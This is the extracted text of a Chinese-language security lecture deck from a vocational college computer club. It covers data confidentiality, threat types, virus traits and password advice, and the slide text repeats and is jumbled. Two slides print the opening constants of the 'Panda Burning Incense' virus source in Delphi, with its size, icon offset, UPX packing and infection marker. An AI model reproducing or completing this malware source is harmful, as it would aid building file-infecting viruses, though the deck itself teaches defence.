计算机安全与防护课程讲解课件

计算机安全与防护技术——沈阳职业技术学院计算机协会.沈阳职业技术学院计算机协会计算机安全与防护技术——沈阳职业技术学院计算机协会.沈阳职业1简介：计算机系软件技术0703班，善长软件编程，操作系统原理，入侵与防护，服务器安全，掌握VB，C，C++，ASP等计算机语言，希望我的课程大家能喜欢。希望大家能对计算机产生兴趣，兴趣是最好的老师，大家有什么问题可以通过以下方式联系我:QQ:83429645E-mail:zibin_5257@163.com.沈阳职业技术学院计算机协会简介：计算机系软件技术0703班，善长软件编程2计算机网络安全随着计算机技术，网络技术以及信息技术的迅猛发展，计算机网络与人们工作和生活的联系也越来越紧密。但是，人们发现自己的计算机系统不断的受到侵害，其形式的多样化，令人防不胜防，给我们造成了损失。因此，为使计算机系统和计算机网络系统不受破坏，提高系统的安全性已成为必须解决的问题。所以，我们都应该掌握一定的安全技术使计算机能长时间，安全，稳定地运行。.沈阳职业技术学院计算机协会计算机网络安全随着计算机技术，网络技术以及信息技术3计算机安全的概念： 计算机安全问题是一个错综复杂的问题，它涉及到系统故障以及有意或无意的破坏等，为了确保计算机的安全，需要采取物理措施，管理措施和技术等多方面措施。计算机安全的保护对象主要是数据，资源，和声誉。.沈阳职业技术学院计算机协会计算机安全的概念： 计算机安全问题是一个错综复杂的问题，它4数据： 数据具有3个独立的特征：保密性，完整性和可用性。保密性：机密的数据，以及不想让其他人所识别的数据。例如：我们大家所熟知的艳照门事件，就是属于保密性不严格所造成的。完整性：必须保证数据文件不被篡改，缺失。可用性：如果一个数据文件是不能被识别和使用的，那它的存在就是无意义的。.沈阳职业技术学院计算机协会数据： 数据具有3个独立的特征：保密性，完整性和可用性。.5资源： 所谓资源是指计算机的硬件资源和软件资源。入侵者绝非是善意的使用者，他们入侵的目的是为了完成某一种目的，例如获取目标机器的硬件资源（磁盘空间，CPU资源，内存等），软件资源（程序，日记，密码，照片等）.沈阳职业技术学院计算机协会资源： 所谓资源是指计算机的硬件资源和软件资源。.沈阳职业6声誉： 入侵者冒充被入侵者的身份出现在网上，在被入侵者不知道的情况下，做一些事情。如利用被入侵者的QQ号，E-mail等，以被入侵者的身份，在网上发布信息。损害被入侵者的声誉等。.沈阳职业技术学院计算机协会声誉： 入侵者冒充被入侵者的身份出现在网上，在被入侵者不知7网络安全的目的： 网络安全的目的就是最大限度地保障计算机网络不受侵害，使系统能够正常，安全，稳定的运行。.沈阳职业技术学院计算机协会网络安全的目的： 网络安全的目的就是最大限度地保障计算机网8潜在的威胁：基本威胁：1.信息泄漏2.完整性破坏3.拒绝服务4.非法使用.沈阳职业技术学院计算机协会潜在的威胁：基本威胁：.沈阳职业技术学院计算机协会9主要的可实现的威胁：渗入威胁：1.假冒:某个实体（人或系统）假冒成另外一个不同的实体2.旁路控制：利用系统缺陷和安全上的脆弱，绕过防线渗入内部3.授权侵犯：将权限扩大或用于其他目的植入威胁：1.木马病毒：具有破坏性，传播性，隐藏性等程序2.陷门：在某个系统或文件中设置“机关”，也可以说是一段非法的系统程序，目的是为入侵者提供后门。.沈阳职业技术学院计算机协会主要的可实现的威胁：渗入威胁：.沈阳职业技术学院计算机协会10计算机病毒：计算机病毒的特点： 1.人为编写 2.自我复制能力 3.夺取系统的控制权 4.隐蔽性 5.潜伏性.沈阳职业技术学院计算机协会计算机病毒：计算机病毒的特点：.沈阳职业技术学院计算机协会11熊猫烧香

-

核心源码

Delphi版本

--------------------------------------------------------------------------------

僅供研究使用!後果自行負責

代码:--------------------------------------------------------------------------------

program

Japussy;

uses

Windows,

SysUtils,

Classes,

Graphics,

ShellAPI{,

Registry};

const

HeaderSize

=

82432;

//病毒体的大小

IconOffset

=

$12EB8;

//PE文件主图标的偏移量

//在我的Delphi5

SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize

=

38912;

//Upx压缩过病毒体的大小

IconOffset

=

$92BC;

//Upx压缩过PE文件主图标的偏移量

//Upx

1.24W

用法:

upx

-9

--8086

Japussy.exe

}

IconSize

=

$2E8;

//PE文件主图标的大小--744字节

IconTail

=

IconOffset

+

IconSize;

//PE文件主图标的尾部

ID

=

$44444444;

//感染标记

.沈阳职业技术学院计算机协会熊猫烧香

-

核心源码

Delphi版本

---------12病毒的防御： 计算机安装可靠的杀毒软件，主动防御及文件防护处于开启状态，定期进行磁盘的全盘扫描，杀毒软件的病毒特征库库一定要经常更新，不上非法及不明网站。.沈阳职业技术学院计算机协会病毒的防御： 计算机安装可靠的杀毒软件，主动防御及文件13系统缺陷及漏洞防范： 可以安装第三方的漏洞检测与修补工具，如360安全卫士(),进行系统的漏洞检测与修复，还可以清理恶意插件等，.沈阳职业技术学院计算机协会系统缺陷及漏洞防范： 可以安装第三方的漏洞检测与修补工具，14.沈阳职业技术学院计算机协会.沈阳职业技术学院计算机协会15.沈阳职业技术学院计算机协会.沈阳职业技术学院计算机协会16号码的安全：大家一定有号码被盗的经历，号码最重要的是密码，大家也许为了方便会将密码设得很短，为了不忘记会设置成与自己有关的信息。大家密码是否存在如下情况：1.你的名字拼音2.手机号码3.配偶的手机号码4.生日5.配偶的名字拼音6.身份号中的某段号码.沈阳职业技术学院计算机协会号码的安全：大家一定有号码被盗的经历，号码最重要17建议大家：1.密码不要含有与自己有关的信息2.密码中包含大小写字母，数字，特殊符号等字符。3.尽量的长度。.沈阳职业技术学院计算机协会建议大家：1.密码不要含有与自己有关的信息.沈阳职业技术学院18关于QQ号的登录：尽量使用QQ的软键盘进行登录：.沈阳职业技术学院计算机协会关于QQ号的登录：尽量使用QQ的软键盘进行登录：.沈阳职业技19计算机安全与防护技术——沈阳职业技术学院计算机协会.沈阳职业技术学院计算机协会计算机安全与防护技术——沈阳职业技术学院计算机协会.沈阳职业20简介：计算机系软件技术0703班，善长软件编程，操作系统原理，入侵与防护，服务器安全，掌握VB，C，C++，ASP等计算机语言，希望我的课程大家能喜欢。希望大家能对计算机产生兴趣，兴趣是最好的老师，大家有什么问题可以通过以下方式联系我:QQ:83429645E-mail:zibin_5257@163.com.沈阳职业技术学院计算机协会简介：计算机系软件技术0703班，善长软件编程21计算机网络安全随着计算机技术，网络技术以及信息技术的迅猛发展，计算机网络与人们工作和生活的联系也越来越紧密。但是，人们发现自己的计算机系统不断的受到侵害，其形式的多样化，令人防不胜防，给我们造成了损失。因此，为使计算机系统和计算机网络系统不受破坏，提高系统的安全性已成为必须解决的问题。所以，我们都应该掌握一定的安全技术使计算机能长时间，安全，稳定地运行。.沈阳职业技术学院计算机协会计算机网络安全随着计算机技术，网络技术以及信息技术22计算机安全的概念： 计算机安全问题是一个错综复杂的问题，它涉及到系统故障以及有意或无意的破坏等，为了确保计算机的安全，需要采取物理措施，管理措施和技术等多方面措施。计算机安全的保护对象主要是数据，资源，和声誉。.沈阳职业技术学院计算机协会计算机安全的概念： 计算机安全问题是一个错综复杂的问题，它23数据： 数据具有3个独立的特征：保密性，完整性和可用性。保密性：机密的数据，以及不想让其他人所识别的数据。例如：我们大家所熟知的艳照门事件，就是属于保密性不严格所造成的。完整性：必须保证数据文件不被篡改，缺失。可用性：如果一个数据文件是不能被识别和使用的，那它的存在就是无意义的。.沈阳职业技术学院计算机协会数据： 数据具有3个独立的特征：保密性，完整性和可用性。.24资源： 所谓资源是指计算机的硬件资源和软件资源。入侵者绝非是善意的使用者，他们入侵的目的是为了完成某一种目的，例如获取目标机器的硬件资源（磁盘空间，CPU资源，内存等），软件资源（程序，日记，密码，照片等）.沈阳职业技术学院计算机协会资源： 所谓资源是指计算机的硬件资源和软件资源。.沈阳职业25声誉： 入侵者冒充被入侵者的身份出现在网上，在被入侵者不知道的情况下，做一些事情。如利用被入侵者的QQ号，E-mail等，以被入侵者的身份，在网上发布信息。损害被入侵者的声誉等。.沈阳职业技术学院计算机协会声誉： 入侵者冒充被入侵者的身份出现在网上，在被入侵者不知26网络安全的目的： 网络安全的目的就是最大限度地保障计算机网络不受侵害，使系统能够正常，安全，稳定的运行。.沈阳职业技术学院计算机协会网络安全的目的： 网络安全的目的就是最大限度地保障计算机网27潜在的威胁：基本威胁：1.信息泄漏2.完整性破坏3.拒绝服务4.非法使用.沈阳职业技术学院计算机协会潜在的威胁：基本威胁：.沈阳职业技术学院计算机协会28主要的可实现的威胁：渗入威胁：1.假冒:某个实体（人或系统）假冒成另外一个不同的实体2.旁路控制：利用系统缺陷和安全上的脆弱，绕过防线渗入内部3.授权侵犯：将权限扩大或用于其他目的植入威胁：1.木马病毒：具有破坏性，传播性，隐藏性等程序2.陷门：在某个系统或文件中设置“机关”，也可以说是一段非法的系统程序，目的是为入侵者提供后门。.沈阳职业技术学院计算机协会主要的可实现的威胁：渗入威胁：.沈阳职业技术学院计算机协会29计算机病毒：计算机病毒的特点： 1.人为编写 2.自我复制能力 3.夺取系统的控制权 4.隐蔽性 5.潜伏性.沈阳职业技术学院计算机协会计算机病毒：计算机病毒的特点：.沈阳职业技术学院计算机协会30熊猫烧香

-

核心源码

Delphi版本

--------------------------------------------------------------------------------

僅供研究使用!後果自行負責

代码:--------------------------------------------------------------------------------

program

Japussy;

uses

Windows,

SysUtils,

Classes,

Graphics,

ShellAPI{,

Registry};

const

HeaderSize

=

82432;

//病毒体的大小

IconOffset

=

$12EB8;

//PE文件主图标的偏移量

//在我的Delphi5

SP1上面编译得到的大小，其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize

=

38912;

//Upx压缩过病毒体的大小

IconOffset

=

$92BC;

//Upx压缩过PE文件主图标的偏移量

//Upx

1.24W

用法:

upx

-9

--8086

Japussy.exe

}

IconSize

=

$2E8;

//PE文件主图标的大小--744字节

IconTail

=

IconOffset

+

IconSize;

//PE文件主图标的尾部

ID

=

$44444444;

//感染标记

.沈阳职业技术学院计算机协会熊猫烧香

-

核心源码

Delphi版本

---------31病毒的防御： 计算机安装可靠的杀毒软件，主动防御及文件防护处于开启状态，定期进行磁盘的全